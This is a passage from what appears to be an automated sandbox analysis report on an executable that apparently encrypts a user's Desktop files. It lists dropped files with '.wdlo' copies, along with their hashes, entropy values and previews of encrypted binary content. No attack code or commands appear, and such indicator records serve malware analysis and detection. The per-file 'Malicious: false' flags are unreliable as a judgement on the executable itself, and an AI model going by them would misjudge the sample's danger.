Entropy (8bit):	7.841875144376568
Encrypted:	false
SSDEEP:	24:DV6e57CZPahTDL4v11sswmP+4jlEDSvbAOKnDJqoGojDM/kG3zbD:DsY7wPGDUvR0PO4JqYDgkG3nD
MD5:	82583735A643CB99E141807BD3B36899
SHA1:	AB40C5FD303CFA6B598067448EA29CE9FC9A4B56
SHA-256:	678A3858243EBE6BD33C4815DABEDDBF39799A8D7DED56EE225BB831E0E79577
SHA-512:	67C5DD6206C1175D0BB88282CBEC0946ED100346FE6A67CBEC5D5A5FB31B6A5514A084F2521F874445AFEC2817585F6A484A704131D3ED84605F3FD959EA0821
Malicious:	false
Preview:	QCOIL.....X..r.$...v.s....Z..,d...G...2.......<oE......^ ..F$Y.l..8...%qh...-O.4.....Ma....x^3..@..R_>......(l.."....S..D-3.f... .trh..:jo..u..y\|..T<.( ......]...2..`.. s....#.......J]..C.yVr...M9./..L.>4.-..8.......j..d8Y.?6......./..@.....J..1.x'.m3..Mv./.[....Y....<"{...Q..KN3.:....L..7..H.ND6..;.......L%.....A.....WK.\|}.6#.5D.w3..oW..\|......2....p...#....>...n....IVz:7.......oS........N:.P.g.>x.yu......g..% ....<.\|D..~..,.....p..O.,.&.......+;.7../..N..3...\Wl.......<..CN{...SV..Zb.....!.K...t...S.`.B\|....,..\|...-Re.O[.As.h.:@3x.3.X>.<..ju...hU....Pk..?...(.5'K;..U..h..........]...5.y5......Dm..^.<........N...%...3ds.....{.).JO...h.L.P..H^..<....@.............C...1.o.I..F.y...{..b..o..8....A.i,.U..n.k.0...........D8../Q.(.H4.qN@&.i....<... L....;z2.Gd#.lCf.+....OF.5.Q..%.p.s,x.1Q.6..W..#zO's....M..p..cS....S.pb...%.y[....\.H..7....\|...jJ.pO.o...x......w....v.MA......]F..`.Q.7N.i....H`.7{..KO..1\|..{6x\...9..X.Na...sc.lj../4Z

C:\Users\user\Desktop\GRXZDKKVDB\QCOILOQIKC.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841875144376568
Encrypted:	false
SSDEEP:	24:DV6e57CZPahTDL4v11sswmP+4jlEDSvbAOKnDJqoGojDM/kG3zbD:DsY7wPGDUvR0PO4JqYDgkG3nD
MD5:	82583735A643CB99E141807BD3B36899
SHA1:	AB40C5FD303CFA6B598067448EA29CE9FC9A4B56
SHA-256:	678A3858243EBE6BD33C4815DABEDDBF39799A8D7DED56EE225BB831E0E79577
SHA-512:	67C5DD6206C1175D0BB88282CBEC0946ED100346FE6A67CBEC5D5A5FB31B6A5514A084F2521F874445AFEC2817585F6A484A704131D3ED84605F3FD959EA0821
Malicious:	false
Preview:	QCOIL.....X..r.$...v.s....Z..,d...G...2.......<oE......^ ..F$Y.l..8...%qh...-O.4.....Ma....x^3..@..R_>......(l.."....S..D-3.f... .trh..:jo..u..y\|..T<.( ......]...2..`.. s....#.......J]..C.yVr...M9./..L.>4.-..8.......j..d8Y.?6......./..@.....J..1.x'.m3..Mv./.[....Y....<"{...Q..KN3.:....L..7..H.ND6..;.......L%.....A.....WK.\|}.6#.5D.w3..oW..\|......2....p...#....>...n....IVz:7.......oS........N:.P.g.>x.yu......g..% ....<.\|D..~..,.....p..O.,.&.......+;.7../..N..3...\Wl.......<..CN{...SV..Zb.....!.K...t...S.`.B\|....,..\|...-Re.O[.As.h.:@3x.3.X>.<..ju...hU....Pk..?...(.5'K;..U..h..........]...5.y5......Dm..^.<........N...%...3ds.....{.).JO...h.L.P..H^..<....@.............C...1.o.I..F.y...{..b..o..8....A.i,.U..n.k.0...........D8../Q.(.H4.qN@&.i....<... L....;z2.Gd#.lCf.+....OF.5.Q..%.p.s,x.1Q.6..W..#zO's....M..p..cS....S.pb...%.y[....\.H..7....\|...jJ.pO.o...x......w....v.MA......]F..`.Q.7N.i....H`.7{..KO..1\|..{6x\...9..X.Na...sc.lj../4Z

C:\Users\user\Desktop\HMPPSXQPQV.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.808720276389649
Encrypted:	false
SSDEEP:	24:z46FZuUT27+f/+Nfj11HjVpaFUZu8RJix63QRmY5zKmfELh3zbD:9Zusf/+Z3n06uss6On+SELh3nD
MD5:	D6F297F5A335E170A71971C4CFBB8F75
SHA1:	65FE618595DA2DBF9891622750CCA32A42687305
SHA-256:	B695B0993433EC2789D3DD27B71E36F322ABEB2A24C6C2E2B2A518AF7AE8C552
SHA-512:	D07DF325BCDAF975D251E1675BA28DA749D92DEF962AF627B8A29781FA95A4EFF896B7D50DAE65C40C70D914514691E7004F1B6742A4384E1C75620641EA725D
Malicious:	false
Preview:	HMPPSq.g}6.....^.`o.q?...+Kt..Ld.V8.;L.B{d.j.C.b@f...k..ptE....ai..G.....&..%$..!.~...Q8.5s.BH.0....4~....3gqj...4..zD.%.C.y...<....e..,1j...a..,.....U....[T.d.`.K..@...(.....4m..F~C.h.....WE.........sfH..5....aH........T........@. .Y.D..X)...A.<.x}.q?D......+%<\|I..e6....-.{q-h..2...]g"..HM...4~....-....$<..OF..f0~6{......L.+....`./.!....g4.P......7.h..........(6a.LE.s.......9..zM.y)...O@...vv..)6...\0.E..?fm.l.?,!.e.......`L. .v.W.....#.['@..^.d..`6`...P~..H{.(..i.-...F. .e..r.u..Zi...8T.........!v..G5..I.....h.jv..p.D.q.3.:0.?I.6...)...`..S~0...l F..G.Pu....Ds{H...A.D$.l.gr..T...a~.......M.}f..hO.H!.TW..g...+D..T8.e..`.Bv..hV1U.r..3.?zh...U.4...:.f....$z....P...\...`.EXYa*a...,2..h\..p..5....W.B.....s.f.h,SN...l..%..F.ad...y.q...8^e.._5,2.U.V..P..#....d]i>dL..4.....l.....U.2j.9T...!.6.JB/..$.......h.....%53..`..q.x.-....:.D.........-.D.Yy.`.{.Q..HP...WUe.f....._JBP..,..)..w..../..8K;...I....Y\.zS.$..K.`}w...Svj...aj...x;#t..-...?....S......

C:\Users\user\Desktop\HMPPSXQPQV.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.808720276389649
Encrypted:	false
SSDEEP:	24:z46FZuUT27+f/+Nfj11HjVpaFUZu8RJix63QRmY5zKmfELh3zbD:9Zusf/+Z3n06uss6On+SELh3nD
MD5:	D6F297F5A335E170A71971C4CFBB8F75
SHA1:	65FE618595DA2DBF9891622750CCA32A42687305
SHA-256:	B695B0993433EC2789D3DD27B71E36F322ABEB2A24C6C2E2B2A518AF7AE8C552
SHA-512:	D07DF325BCDAF975D251E1675BA28DA749D92DEF962AF627B8A29781FA95A4EFF896B7D50DAE65C40C70D914514691E7004F1B6742A4384E1C75620641EA725D
Malicious:	false
Preview:	HMPPSq.g}6.....^.`o.q?...+Kt..Ld.V8.;L.B{d.j.C.b@f...k..ptE....ai..G.....&..%$..!.~...Q8.5s.BH.0....4~....3gqj...4..zD.%.C.y...<....e..,1j...a..,.....U....[T.d.`.K..@...(.....4m..F~C.h.....WE.........sfH..5....aH........T........@. .Y.D..X)...A.<.x}.q?D......+%<\|I..e6....-.{q-h..2...]g"..HM...4~....-....$<..OF..f0~6{......L.+....`./.!....g4.P......7.h..........(6a.LE.s.......9..zM.y)...O@...vv..)6...\0.E..?fm.l.?,!.e.......`L. .v.W.....#.['@..^.d..`6`...P~..H{.(..i.-...F. .e..r.u..Zi...8T.........!v..G5..I.....h.jv..p.D.q.3.:0.?I.6...)...`..S~0...l F..G.Pu....Ds{H...A.D$.l.gr..T...a~.......M.}f..hO.H!.TW..g...+D..T8.e..`.Bv..hV1U.r..3.?zh...U.4...:.f....$z....P...\...`.EXYa*a...,2..h\..p..5....W.B.....s.f.h,SN...l..%..F.ad...y.q...8^e.._5,2.U.V..P..#....d]i>dL..4.....l.....U.2j.9T...!.6.JB/..$.......h.....%53..`..q.x.-....:.D.........-.D.Yy.`.{.Q..HP...WUe.f....._JBP..,..)..w..../..8K;...I....Y\.zS.$..K.`}w...Svj...aj...x;#t..-...?....S......

C:\Users\user\Desktop\KLIZUSIQEN.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855991615912437
Encrypted:	false
SSDEEP:	24:bixUrcT5LHnAcpYU6R+Nc8v7I4dd1c6s/a9YTMANHcdTbJ2hHEGXf3zbD:KlFPpYU6XycEd1co9gMANO2NEef3nD
MD5:	774764D2B3A48DD1FF0DBF53FEC52527
SHA1:	241024E571C73489D17FF0874C11321407116730
SHA-256:	0E1D0D8B3BADFEA978835F00B6020813A5669AFC410F9FEBC5A5B413E627CCB5
SHA-512:	BA99A4268802CED4211D4FE56AD498E4542C71B6A96760A00DAB0E702B0725FB86887F2CA0133D74C312F719DED2EBBC640E8AAAEB7D5371109056C1CFE9D15E
Malicious:	false
Preview:	KLIZU..6MI..K.w.o..f.M^.....d............q..1F...4g[.+....e/........,..#.O4..\.hz.~..29....w..^....0.2...fa5...@...B..&O........d.1.n.....h..8.uE..d /...lz....GRr......uMj."2TS..rHA.....9F...~U$...EN4......Y..?"="E.uy~.&c...3.H.N...!.... ...Gw..."}<.>.`j.....S..>3.x.>^......+i..c.......r9\|.3.....[n(.P...I..\.~(..;..HbGj.uk.pT.A..S>..C.a..94..6...(+.;.....q0...i.....w.x..\9.5.F..~.w...U....8>.....s.{{..2....7....R'.y.n..Q..:{.anG....{.=.^.5!g.'.F\|....(....V....5n....{....Gk#.0M.9.....n..[..<..Xk..8..aT..z........P:B.V..#.5;.\|.KUP...._...2.....j...8q.J...0.......wL+!v.:..)...[.x{TW.GzV.....D.H.R..V.+..z5.1j,.?..'.s.....C..&D..+..$....2..'e.[Z;7.U}X.......?..%..i....fg...P'Y...Hy.E~....-..!....U...x.....5}...?JZ.._..A...9jla..&.]0..P.H..Pq.......I.9..P0.!...8.<@..{v..Z..A.*.m...M#.....D.rEd..i'X.1...0...".05W...[t....8\|..j...(.Y.....ESGsx...0..N.5..M...w!.>.&..G..jv..Zq...-7..........:..,.....}.....5..aT.^...e.(o..r..EP.)..V)...z?...~.l

C:\Users\user\Desktop\KLIZUSIQEN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855991615912437
Encrypted:	false
SSDEEP:	24:bixUrcT5LHnAcpYU6R+Nc8v7I4dd1c6s/a9YTMANHcdTbJ2hHEGXf3zbD:KlFPpYU6XycEd1co9gMANO2NEef3nD
MD5:	774764D2B3A48DD1FF0DBF53FEC52527
SHA1:	241024E571C73489D17FF0874C11321407116730
SHA-256:	0E1D0D8B3BADFEA978835F00B6020813A5669AFC410F9FEBC5A5B413E627CCB5
SHA-512:	BA99A4268802CED4211D4FE56AD498E4542C71B6A96760A00DAB0E702B0725FB86887F2CA0133D74C312F719DED2EBBC640E8AAAEB7D5371109056C1CFE9D15E
Malicious:	false
Preview:	KLIZU..6MI..K.w.o..f.M^.....d............q..1F...4g[.+....e/........,..#.O4..\.hz.~..29....w..^....0.2...fa5...@...B..&O........d.1.n.....h..8.uE..d /...lz....GRr......uMj."2TS..rHA.....9F...~U$...EN4......Y..?"="E.uy~.&c...3.H.N...!.... ...Gw..."}<.>.`j.....S..>3.x.>^......+i..c.......r9\|.3.....[n(.P...I..\.~(..;..HbGj.uk.pT.A..S>..C.a..94..6...(+.;.....q0...i.....w.x..\9.5.F..~.w...U....8>.....s.{{..2....7....R'.y.n..Q..:{.anG....{.=.^.5!g.'.F\|....(....V....5n....{....Gk#.0M.9.....n..[..<..Xk..8..aT..z........P:B.V..#.5;.\|.KUP...._...2.....j...8q.J...0.......wL+!v.:..)...[.x{TW.GzV.....D.H.R..V.+..z5.1j,.?..'.s.....C..&D..+..$....2..'e.[Z;7.U}X.......?..%..i....fg...P'Y...Hy.E~....-..!....U...x.....5}...?JZ.._..A...9jla..&.]0..P.H..Pq.......I.9..P0.!...8.<@..{v..Z..A.*.m...M#.....D.rEd..i'X.1...0...".05W...[t....8\|..j...(.Y.....ESGsx...0..N.5..M...w!.>.&..G..jv..Zq...-7..........:..,.....}.....5..aT.^...e.(o..r..EP.)..V)...z?...~.l

C:\Users\user\Desktop\KLIZUSIQEN.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851118951105897
Encrypted:	false
SSDEEP:	24:bCFUldCqv+ktQf2GnQa6XG1cRXugceBaG80wWsj3bTVj99sTo6rPCv8X3zbD:eU/vxtQpFSR+paaGaWsjfVjzsRrL3nD
MD5:	547B47EB5D7ACF9A6AB271A3329D349D
SHA1:	07BD305256A556CBB604777FBE6AF8BAC571391E
SHA-256:	71216255C1A7C2B78CC79B29DBAD348D26D56B29B90EBAB13F018C4AB3AF7FA0
SHA-512:	7440E9F1B209BBC3731703844EBE45AA999D974675713D49CB3530B1C3F4E3A8FA014C65BEA27A10BB186B0430010C0618000790AA4B968CD442B923BD196A49
Malicious:	false
Preview:	KLIZUjk?..d...9..7....].r..X)..}`..h....%.#.t....Z.K..G..mjZ.....1l......b..:..f$...r.".......,.Dy..).9.....#XpX/..}~ S1e..........k..eI1....!.b.........ZGk>.nZx....X.....%K.....wS....B..`GWw...wKx..!...4Oh.P.c.(.....v.?hmN.......CB.F.\....t......cl...\-K.,...E....(.5..eJQ.M.l-...{..`..9.....F..EcG.\w...j.B4.IW...$my.V...S0..N..d..dZa.=>...>qK...........>.I1+....r......a...n.H...i...I.M).E=]...D.e4....9......b5xvF.E`........F.z.A.k.x..Q...{9.%v...w...0......8"....(9...x...vSvnzu.9.....B..g..Q..)!..{..B\..o#......!v..H'...r..6.Jor......v.p`.....{Q...:.,i...q..t.1.<.z.=.:.<.b.....b..l.[GE....4.".s.}e........kD..>...'..U.y.3vk.[it....s..qg.i.Y<`2.j<T.S.;.9..........a.?.=.:c^..8.......!._.ud.b..\..m.'....{5^.>K.g....Pi..U...\|I..qTS(....!........k.m>...:..+^.cSw...?.N-.6w.=...w.@....k:.u...1>.YNS..&^...5..........s<2J#.:$0..M..z.....&.-.....n.\|.L...uF...<.?..<\|v.]Y....i.I...Mv$.A.....*...O~$..$.......1.M.V......t.....\|y.\|..EQ..f!...oO......

C:\Users\user\Desktop\KLIZUSIQEN.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851118951105897
Encrypted:	false
SSDEEP:	24:bCFUldCqv+ktQf2GnQa6XG1cRXugceBaG80wWsj3bTVj99sTo6rPCv8X3zbD:eU/vxtQpFSR+paaGaWsjfVjzsRrL3nD
MD5:	547B47EB5D7ACF9A6AB271A3329D349D
SHA1:	07BD305256A556CBB604777FBE6AF8BAC571391E
SHA-256:	71216255C1A7C2B78CC79B29DBAD348D26D56B29B90EBAB13F018C4AB3AF7FA0
SHA-512:	7440E9F1B209BBC3731703844EBE45AA999D974675713D49CB3530B1C3F4E3A8FA014C65BEA27A10BB186B0430010C0618000790AA4B968CD442B923BD196A49
Malicious:	false
Preview:	KLIZUjk?..d...9..7....].r..X)..}`..h....%.#.t....Z.K..G..mjZ.....1l......b..:..f$...r.".......,.Dy..).9.....#XpX/..}~ S1e..........k..eI1....!.b.........ZGk>.nZx....X.....%K.....wS....B..`GWw...wKx..!...4Oh.P.c.(.....v.?hmN.......CB.F.\....t......cl...\-K.,...E....(.5..eJQ.M.l-...{..`..9.....F..EcG.\w...j.B4.IW...$my.V...S0..N..d..dZa.=>...>qK...........>.I1+....r......a...n.H...i...I.M).E=]...D.e4....9......b5xvF.E`........F.z.A.k.x..Q...{9.%v...w...0......8"....(9...x...vSvnzu.9.....B..g..Q..)!..{..B\..o#......!v..H'...r..6.Jor......v.p`.....{Q...:.,i...q..t.1.<.z.=.:.<.b.....b..l.[GE....4.".s.}e........kD..>...'..U.y.3vk.[it....s..qg.i.Y<`2.j<T.S.;.9..........a.?.=.:c^..8.......!._.ud.b..\..m.'....{5^.>K.g....Pi..U...\|I..qTS(....!........k.m>...:..+^.cSw...?.N-.6w.=...w.@....k:.u...1>.YNS..&^...5..........s<2J#.:$0..M..z.....&.-.....n.\|.L...uF...<.?..<\|v.]Y....i.I...Mv$.A.....*...O~$..$.......1.M.V......t.....\|y.\|..EQ..f!...oO......

C:\Users\user\Desktop\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84949333944761
Encrypted:	false
SSDEEP:	24:bBE1n9TaqvkUPuEkNaDqULZO/FNBc3EM4rzhZBPI0AJxSgQ0zSfDnON3zbD:S1n9tvk9EVD1ZMsOZ5Isg/zgI3nD
MD5:	0366DE449AF22CEB6EDA0D885F3A9BA8
SHA1:	A3886A401B17B798A5033FBE887DFF45F1D36BAD
SHA-256:	5FADB2BF1982380F0D041433922BC88640912D9AE9AC51649EFF74FDFDE33EDF
SHA-512:	6B2ABD866E64754144E4460FC1C5131CC89AA584DF52AE65551DD90D4259E382144C7A31CD8999249935F55E0BEE2EAFDFB18FDD9E3B8C7E32A93829F7872EE7
Malicious:	false
Preview:	KLIZUe_.]1.........Z.y.0/a...d..y...V[.....^\....m&..g/....E.a.,.U.Wp..bVz...r}.S..........Y\..I..$w.. ..n.vz~.ZQ._F\|.&.1......O.%%..E...}...o....Z.Hx.SM........m..).M<R.%=..p.%6.n.....Q..+.C.c]V...0....&..$?z(..(....=W<.'..~..U.\..P....6xHA.<".D..,@...QZV..OJk.....6w...j..{.@h.Ne....KV\|G,.,.1..L.&.,.dn.OG..P.m@fX].q.%...K...W..X...B..e......".,N..........5.....x..{s...PX......Kc..C...j.!.!s\x)R.`[.h.`...y.Z..^..z~..\S{........v....."..q.!..H..zp..g....P%_m....5@#H.....:.]rQ.n;S..`D.j.O!&IL.4..vpO.G......_9.a.i...B...GWO....%.a........8......X.[..E>..@...6g.9......jE.$.g......[c..Q..U.N..D.p.IC.v....y.>....H.8...VO5.z...\T...'..BNw...Rh......pe...;.8.........6)....;...?B.3..c..i..G.4P1.........2'...r...)7......,......O.......\NY.L.....T.0....p..F.Z..E.Pg............s. ..2\.r.:..v.....~..)...\|...R....H,L.\..H......Q..5 r2.Or...JQ....N.'.....>...H.k...N...E...W...n.U+k..6..e....._..... ..t.....,.C.U..^....H.j....sj..B.........

C:\Users\user\Desktop\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84949333944761
Encrypted:	false
SSDEEP:	24:bBE1n9TaqvkUPuEkNaDqULZO/FNBc3EM4rzhZBPI0AJxSgQ0zSfDnON3zbD:S1n9tvk9EVD1ZMsOZ5Isg/zgI3nD
MD5:	0366DE449AF22CEB6EDA0D885F3A9BA8
SHA1:	A3886A401B17B798A5033FBE887DFF45F1D36BAD
SHA-256:	5FADB2BF1982380F0D041433922BC88640912D9AE9AC51649EFF74FDFDE33EDF
SHA-512:	6B2ABD866E64754144E4460FC1C5131CC89AA584DF52AE65551DD90D4259E382144C7A31CD8999249935F55E0BEE2EAFDFB18FDD9E3B8C7E32A93829F7872EE7
Malicious:	false
Preview:	KLIZUe_.]1.........Z.y.0/a...d..y...V[.....^\....m&..g/....E.a.,.U.Wp..bVz...r}.S..........Y\..I..$w.. ..n.vz~.ZQ._F\|.&.1......O.%%..E...}...o....Z.Hx.SM........m..).M<R.%=..p.%6.n.....Q..+.C.c]V...0....&..$?z(..(....=W<.'..~..U.\..P....6xHA.<".D..,@...QZV..OJk.....6w...j..{.@h.Ne....KV\|G,.,.1..L.&.,.dn.OG..P.m@fX].q.%...K...W..X...B..e......".,N..........5.....x..{s...PX......Kc..C...j.!.!s\x)R.`[.h.`...y.Z..^..z~..\S{........v....."..q.!..H..zp..g....P%_m....5@#H.....:.]rQ.n;S..`D.j.O!&IL.4..vpO.G......_9.a.i...B...GWO....%.a........8......X.[..E>..@...6g.9......jE.$.g......[c..Q..U.N..D.p.IC.v....y.>....H.8...VO5.z...\T...'..BNw...Rh......pe...;.8.........6)....;...?B.3..c..i..G.4P1.........2'...r...)7......,......O.......\NY.L.....T.0....p..F.Z..E.Pg............s. ..2\.r.:..v.....~..)...\|...R....H,L.\..H......Q..5 r2.Or...JQ....N.'.....>...H.k...N...E...W...n.U+k..6..e....._..... ..t.....,.C.U..^....H.j....sj..B.........

C:\Users\user\Desktop\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854812455344257
Encrypted:	false
SSDEEP:	24:FDf3kkeu7ndtVrLH8iuipJvPcSkfvfaTlcKcRFb2JBEjEO0b12Xo9/eLGnH5C3zX:Fzyu7BHciFcZHaTWTRFb2JejfGIIC3nD
MD5:	BA0C08716E34087AA31281FF406F9C49
SHA1:	99AB4FAB679147E46584C3D9C2B2985D3869C6A8
SHA-256:	DBCEBE2D0088713186F15CFC2C48DE09F89AAA02ADD0D51DD845E2D148E4E375
SHA-512:	6533E89D840E1FEBE7889102693D66ADAEBC733BE5C680B19C8C77943A6825D5961D3D2E76E0A04E483449FE2D9FDABD5A466FE8338B2C0BCA4BEB67CF616086
Malicious:	false
Preview:	NVWZA0te.N..KmY..)......).#z.td[L.0..3.N...g....l.+..8@...l[.U......)P).......?R.o. ....u....d.....}DB.....t.../[..d.yw..yw....+..j.z...X...R....L{j........a..x..N...~.6...L`X..oV{D.~.........g.a!..\|A6.rm.=.$....[.~..(........j....!..\|.0?r..4.cK./VH1.R.....G....'.T.x....H.D... Y.?N.9..0..5.T.Z.R......\..w...Gq.....d;.d..Ob..E'.gw.{.A...f......1.w.B.C'...qWu.....m`.='..~......9..qj..M.e.4..zIM....F.y...tA!${t..^.....1..G^.$7...m`..Sw._uk........._......,..V.L...F.W.b......=....\..:..i'=.......FZ.......@....<;.:F{..l6g.U.OrS..Z...&O.k.}....o.{..Z...?h..$...S....H..B....T....2..".=..i/.F...l.}.O.o..'.-.(.F..f....d.Lz..EE....a..R.U...\|P......q]..].IZ....A...%1i..}@.R....X.]t.m..>W._.........1....u.&....@P..Y.vh.....A1,..k'..E..$D,.....>y.......+[c.\..we.R..6..P..a...lH.!g1.....p ...Q..GD`...D.{ .:....>D..-J........_...YZ.h..}..Z.4......2.z2.]D.M...1.....R..j.....g....:..8...>=x..N.>E......f.</K.jih.?.fGo...`.A..........th..0

C:\Users\user\Desktop\NVWZAPQSQL.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854812455344257
Encrypted:	false
SSDEEP:	24:FDf3kkeu7ndtVrLH8iuipJvPcSkfvfaTlcKcRFb2JBEjEO0b12Xo9/eLGnH5C3zX:Fzyu7BHciFcZHaTWTRFb2JejfGIIC3nD
MD5:	BA0C08716E34087AA31281FF406F9C49
SHA1:	99AB4FAB679147E46584C3D9C2B2985D3869C6A8
SHA-256:	DBCEBE2D0088713186F15CFC2C48DE09F89AAA02ADD0D51DD845E2D148E4E375
SHA-512:	6533E89D840E1FEBE7889102693D66ADAEBC733BE5C680B19C8C77943A6825D5961D3D2E76E0A04E483449FE2D9FDABD5A466FE8338B2C0BCA4BEB67CF616086
Malicious:	false
Preview:	NVWZA0te.N..KmY..)......).#z.td[L.0..3.N...g....l.+..8@...l[.U......)P).......?R.o. ....u....d.....}DB.....t.../[..d.yw..yw....+..j.z...X...R....L{j........a..x..N...~.6...L`X..oV{D.~.........g.a!..\|A6.rm.=.$....[.~..(........j....!..\|.0?r..4.cK./VH1.R.....G....'.T.x....H.D... Y.?N.9..0..5.T.Z.R......\..w...Gq.....d;.d..Ob..E'.gw.{.A...f......1.w.B.C'...qWu.....m`.='..~......9..qj..M.e.4..zIM....F.y...tA!${t..^.....1..G^.$7...m`..Sw._uk........._......,..V.L...F.W.b......=....\..:..i'=.......FZ.......@....<;.:F{..l6g.U.OrS..Z...&O.k.}....o.{..Z...?h..$...S....H..B....T....2..".=..i/.F...l.}.O.o..'.-.(.F..f....d.Lz..EE....a..R.U...\|P......q]..].IZ....A...%1i..}@.R....X.]t.m..>W._.........1....u.&....@P..Y.vh.....A1,..k'..E..$D,.....>y.......+[c.\..we.R..6..P..a...lH.!g1.....p ...Q..GD`...D.{ .:....>D..-J........_...YZ.h..}..Z.4......2.z2.]D.M...1.....R..j.....g....:..8...>=x..N.>E......f.</K.jih.?.fGo...`.A..........th..0

C:\Users\user\Desktop\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865821667389764
Encrypted:	false
SSDEEP:	24:FdwWODS/TxjEQ3VJlNIUB+4KZknqbrod9iTGlo2+UB2o+icJyWsf153zbD:FikxJ1u4KaUkd9iTGeHARvElsb3nD
MD5:	ED4417C0B8269973D9823A81AFD98E30
SHA1:	2DB0A02673ABED7589A9FCB8238BEF7BB3515DA2
SHA-256:	4D9D96144B0884715B68CA1B36A98E4AED1EAAE0EEC51C9B40CCF943DCB0C42F
SHA-512:	DAFA4303304CA7EC78F74D99180560A46D21CE7AC12C4371623053A3A66B25A906C0221EBF3B067620CFCC3D76F09C512711A28A1B4A497627D38FAC8AD5F2FA
Malicious:	false
Preview:	NVWZA@.C:.<...X.Y.vL.....KQ..Jk...Rf. ..q.~....i.@.n.:\|i......a....Z..!.p...I........^) ..Y..'[.....T:.g..u....Ic..1T....1..cbx....@]..,;..X.p.d..g.1..t.V.^.)%.^qs......:........./..$........G.H.K.h-H....e..T.^...Uy.TS;".>H...S....<..e......!....qeG.1."k0..\|HI.q...0.k....f..+.M....w...M.....P..P.%.O:;,.z..............H.l...Ke.Y..vTA..t.7...$\|...7....U.A...t.A.)....5.N..A.."w..q.....F..5x.)t...........H......W..K.!..O.......F.?.egQ.2.-G....9.f4..d.6(..>.)..h..6..f.y...b.Po.P!..N.g..y....s/^..C.............BT.(..9..1]......p..0.....L...M..4G:mZ...Z)........}\82....h..i....$^.f--Q....g...\.X...y..PT.....>.J"..[E....D..(.r.Pc...6....4.[...2..GKE...../....Y.((=.4.#4w.\.&..n....8..6.....2V....F.. g..0(...x#.Q..X....T..n........Pj..N .f.....>......l<.l...mg..\.tLW..>W K_&Y......!.#-..."..O...,.K.&..u..."2..#..........].6W.y.UvD..7~..".4......{.<K<l......U..L1S.al....\|...5*.d.V......xK...'s..akHw^v..4I....4l?."&...Z....Gk#..AH.F%....i.5

C:\Users\user\Desktop\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865821667389764
Encrypted:	false
SSDEEP:	24:FdwWODS/TxjEQ3VJlNIUB+4KZknqbrod9iTGlo2+UB2o+icJyWsf153zbD:FikxJ1u4KaUkd9iTGeHARvElsb3nD
MD5:	ED4417C0B8269973D9823A81AFD98E30
SHA1:	2DB0A02673ABED7589A9FCB8238BEF7BB3515DA2
SHA-256:	4D9D96144B0884715B68CA1B36A98E4AED1EAAE0EEC51C9B40CCF943DCB0C42F
SHA-512:	DAFA4303304CA7EC78F74D99180560A46D21CE7AC12C4371623053A3A66B25A906C0221EBF3B067620CFCC3D76F09C512711A28A1B4A497627D38FAC8AD5F2FA
Malicious:	false
